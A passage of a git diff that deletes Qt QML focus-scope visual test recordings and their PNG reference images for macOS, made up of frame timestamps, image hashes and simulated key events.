"9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2016 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2032 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2048 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2064 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2080 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2096 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2112 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2128 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2144 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2160 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2176 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2192 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2208 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2224 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2240 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2256 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2272 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2288 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2304 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2320 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2336 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2352 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2368 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } -} diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test3.0.png b/tests/auto/declarative/visual/focusscope/data-MAC/test3.0.png deleted file mode 100644 index 9309e37..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-MAC/test3.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test3.1.png b/tests/auto/declarative/visual/focusscope/data-MAC/test3.1.png deleted file mode 100644 index 20e6c8e..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-MAC/test3.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test3.2.png b/tests/auto/declarative/visual/focusscope/data-MAC/test3.2.png deleted file mode 100644 index c7559ac..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-MAC/test3.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test3.3.png b/tests/auto/declarative/visual/focusscope/data-MAC/test3.3.png deleted file mode 100644 index bf2844b..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-MAC/test3.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test3.4.png b/tests/auto/declarative/visual/focusscope/data-MAC/test3.4.png deleted file mode 100644 index beef0bf..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-MAC/test3.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test3.5.png b/tests/auto/declarative/visual/focusscope/data-MAC/test3.5.png deleted file mode 100644 index 1847dc7..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-MAC/test3.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test3.6.png b/tests/auto/declarative/visual/focusscope/data-MAC/test3.6.png deleted file mode 100644 index c7559ac..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-MAC/test3.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test3.7.png b/tests/auto/declarative/visual/focusscope/data-MAC/test3.7.png deleted file mode 100644 index 20e6c8e..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-MAC/test3.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test3.8.png b/tests/auto/declarative/visual/focusscope/data-MAC/test3.8.png deleted file mode 100644 index 9309e37..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-MAC/test3.8.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test3.9.png b/tests/auto/declarative/visual/focusscope/data-MAC/test3.9.png deleted file mode 100644 index 7ac879b..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-MAC/test3.9.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test3.qml b/tests/auto/declarative/visual/focusscope/data-MAC/test3.qml deleted file mode 100644 index 7308a23..0000000 --- a/tests/auto/declarative/visual/focusscope/data-MAC/test3.qml +++ /dev/null @@ -1,2879 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 32 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 48 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 64 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 80 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 96 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 112 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 128 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 144 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 160 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 176 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 192 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 208 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 224 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 240 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 256 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 272 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 288 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 304 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 320 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 336 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 352 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 368 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 384 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 400 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 416 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 432 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 448 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 464 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 480 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 496 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 512 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 528 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 544 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 560 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 576 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 592 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 608 - hash: "ce962a38caeb7bf7eef05112fbb52f91" - } - Frame { - msec: 624 - hash: "779f0660ce5bc2c2fc9f05d8b86158a8" - } - Frame { - msec: 640 - hash: "615e07a3c83539321befb44aa8fac811" - } - Frame { - msec: 656 - hash: "8a00b9f66ca7fdb0e4975f547025f873" - } - Frame { - msec: 672 - hash: "43bbe82799b1d8453f89a7ef928b1e54" - } - Frame { - msec: 688 - hash: "2cc468d6e14c27ff1c0bd6064ae47509" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 704 - hash: "1dc9d1b95016ccbeaca5b7a867a5cc3a" - } - Frame { - msec: 720 - hash: "f36734c91fe41a7947965dac97393ad4" - } - Frame { - msec: 736 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 752 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 768 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 784 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 800 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 816 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 832 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 848 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 864 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 880 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 896 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 912 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 928 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 944 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 960 - image: "test3.0.png" - } - Frame { - msec: 976 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 992 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 1008 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 1024 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 1040 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 1056 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 1072 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Frame { - msec: 1088 - hash: "57e009de047c348d3ae14a6271b2e6f2" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1104 - hash: "1c29b3d1086b261c2a9e94d49567484f" - } - Frame { - msec: 1120 - hash: "6ab17a210b45dae1ed99fd1689bb3e46" - } - Frame { - msec: 1136 - hash: "feb504605f7f27ca3a2bf080c1fb1e19" - } - Frame { - msec: 1152 - hash: "bec2d2e2222587a379af12a30e078886" - } - Frame { - msec: 1168 - hash: "39cb2bdc44273023b557a0f56df61d85" - } - Frame { - msec: 1184 - hash: "2cda045b452c4645be1cdb4efd238532" - } - Frame { - msec: 1200 - hash: "1f3efbfadd22734b5fd656596c11885b" - } - Frame { - msec: 1216 - hash: "7277c05a06e481a5af13e4fe39e322f8" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1232 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 1248 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 1264 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 1280 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 1296 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 1312 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 1328 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 1344 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 1360 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 1376 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 1392 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 1408 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 1424 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 1440 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 1456 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 1472 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 1488 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 1504 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Frame { - msec: 1520 - hash: "bdf37518633a43d8dc47245f5b68550b" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1536 - hash: "c5f88e95ead1f4542b766577d80e70fd" - } - Frame { - msec: 1552 - hash: "d38118f26b9c2b68dc8fdb8d2a959134" - } - Frame { - msec: 1568 - hash: "44c483c899220f040aa7808f15fac429" - } - Frame { - msec: 1584 - hash: "02a63967944c8c53a9741318e99a326e" - } - Frame { - msec: 1600 - hash: "7fc10e91212af979e09c8d3b98625c1b" - } - Frame { - msec: 1616 - hash: "d14b69d18adc548dfb68dae1559effdb" - } - Frame { - msec: 1632 - hash: "cb9bce7fa14a367197fa34ad3acc4cdd" - } - Frame { - msec: 1648 - hash: "105a0e3d36296eba16077c4cf93547ae" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1664 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1680 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1696 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1712 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1728 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1744 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1760 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1776 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1792 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1808 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1824 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1840 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1856 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1872 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1888 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1904 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1920 - image: "test3.1.png" - } - Frame { - msec: 1936 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1952 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1968 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 1984 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Frame { - msec: 2000 - hash: "8f443766efd0f74e96e79ed3c267892c" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 2016 - hash: "6e4e4321cda32abab394419a9e6494dc" - } - Frame { - msec: 2032 - hash: "45b79c56379afa7243547fedfa3260db" - } - Frame { - msec: 2048 - hash: "4635555c632f325a151d340a3eb742b9" - } - Frame { - msec: 2064 - hash: "0255da44fa95548427139073c994234c" - } - Frame { - msec: 2080 - hash: "eac0c428ea7b7aa55a469562d2cb3fd6" - } - Frame { - msec: 2096 - hash: "06ab23a83a5900cfdde98d4563414511" - } - Frame { - msec: 2112 - hash: "808e4a745c58872d52ec6a3e669aea5c" - } - Frame { - msec: 2128 - hash: "e6231b43f93fd6ae3e0990def1168c39" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 2144 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2160 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2176 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2192 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2208 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2224 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2240 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2256 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2272 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2288 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2304 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2320 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2336 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2352 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2368 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2384 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2400 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2416 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2432 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2448 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2464 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2480 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2496 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Frame { - msec: 2512 - hash: "e97f921f1c34246fc229c48a4b66466c" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 2528 - hash: "e1c32968e36cb95be250121187ddf13e" - } - Frame { - msec: 2544 - hash: "70498453babe3ab5e0fec62bcd0ff332" - } - Frame { - msec: 2560 - hash: "76fc1b1e6b22771bf08dfdd16b3f24e9" - } - Frame { - msec: 2576 - hash: "c6be4f26750b8bc1a5b71ff381e462c6" - } - Frame { - msec: 2592 - hash: "986f738d0f0f70b88f951d9f028ef61b" - } - Frame { - msec: 2608 - hash: "2201ad4f92bcf24ab62d0ddb8b2a64c1" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 2624 - hash: "27e9a18cb70c8f2ab9e4dd7af321e8e4" - } - Frame { - msec: 2640 - hash: "3a352127f49f8c589b7b7da1232caf6b" - } - Frame { - msec: 2656 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2672 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2688 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2704 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2720 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2736 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2752 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2768 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2784 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2800 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2816 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2832 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2848 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2864 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2880 - image: "test3.2.png" - } - Frame { - msec: 2896 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2912 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2928 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2944 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2960 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Frame { - msec: 2976 - hash: "e3b2de8a4e3229880971d2144e55de1b" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 2992 - hash: "20f96d3fbef9d51d8b8a28a6d58fabb2" - } - Frame { - msec: 3008 - hash: "1e5d888fd4685960b8ae0a79e2287e89" - } - Frame { - msec: 3024 - hash: "2115c2e6689ce6669abf9f3741eb5df1" - } - Frame { - msec: 3040 - hash: "c67949eb5f2210c6b2dad4ff352831ed" - } - Frame { - msec: 3056 - hash: "d982500bee0a6f6fb0861fb3c32319eb" - } - Frame { - msec: 3072 - hash: "ffb111084712d5ecf072ade52103b985" - } - Frame { - msec: 3088 - hash: "e5d594c8f08b9d283a3998648a383332" - } - Frame { - msec: 3104 - hash: "20632ba6a4c14386eb01167059f7b617" - } - Frame { - msec: 3120 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 3136 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3152 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3168 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3184 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3200 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3216 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3232 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3248 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3264 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3280 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3296 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3312 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3328 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3344 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3360 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3376 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3392 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3408 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3424 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3440 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3456 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3472 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Frame { - msec: 3488 - hash: "bfd0497c6505d42aefe6341adb850d89" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 3504 - hash: "f60a72dd52f6f319706dc97f873a484f" - } - Frame { - msec: 3520 - hash: "a21fbcbb3c0ede708f2862959b84654f" - } - Frame { - msec: 3536 - hash: "40e5f7530391e7641498c7870ce986c9" - } - Frame { - msec: 3552 - hash: "809daf15ad3e9f981f1306da18dd6872" - } - Frame { - msec: 3568 - hash: "4b053d234c8c9a5afb7800abe28ea96f" - } - Frame { - msec: 3584 - hash: "e011e3aaf143befc8e207945fdfc9f47" - } - Frame { - msec: 3600 - hash: "55539d51f833b8a98fc14031a4a70c4c" - } - Frame { - msec: 3616 - hash: "07c2b526c022d0deae61acba26d7ea24" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 3632 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3648 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3664 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3680 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3696 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3712 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3728 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3744 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3760 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3776 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3792 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3808 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3824 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3840 - image: "test3.3.png" - } - Frame { - msec: 3856 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3872 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3888 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3904 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3920 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3936 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3952 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3968 - hash: "cc0ab553f98262662e52191e0b370486" - } - Frame { - msec: 3984 - hash: "cc0ab553f98262662e52191e0b370486" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 4000 - hash: "7d2f24d5a68397bedc2f9e3652715126" - } - Frame { - msec: 4016 - hash: "55ff9205bb36d8f8965fb122a8686203" - } - Frame { - msec: 4032 - hash: "8968377cbbdf7a46b6f13690826ac711" - } - Frame { - msec: 4048 - hash: "8ce9afffac571f1a2cc6986d79dd2c8f" - } - Frame { - msec: 4064 - hash: "f75c375cdf8e1b83398e9b18e7c39852" - } - Frame { - msec: 4080 - hash: "20c8db7fb344c056465175ed0fa9518a" - } - Frame { - msec: 4096 - hash: "8135c2cae0dcf8ee6eccbfdd7b711bc0" - } - Frame { - msec: 4112 - hash: "659fc24d328058eb118be5613ea25257" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 4128 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4144 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4160 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4176 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4192 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4208 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4224 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4240 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4256 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4272 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4288 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4304 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4320 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4336 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4352 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4368 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4384 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4400 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4416 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4432 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4448 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4464 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4480 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - msec: 4496 - hash: "ef9a34bf49c632be0f88f6658196dfe6" - } - Frame { - 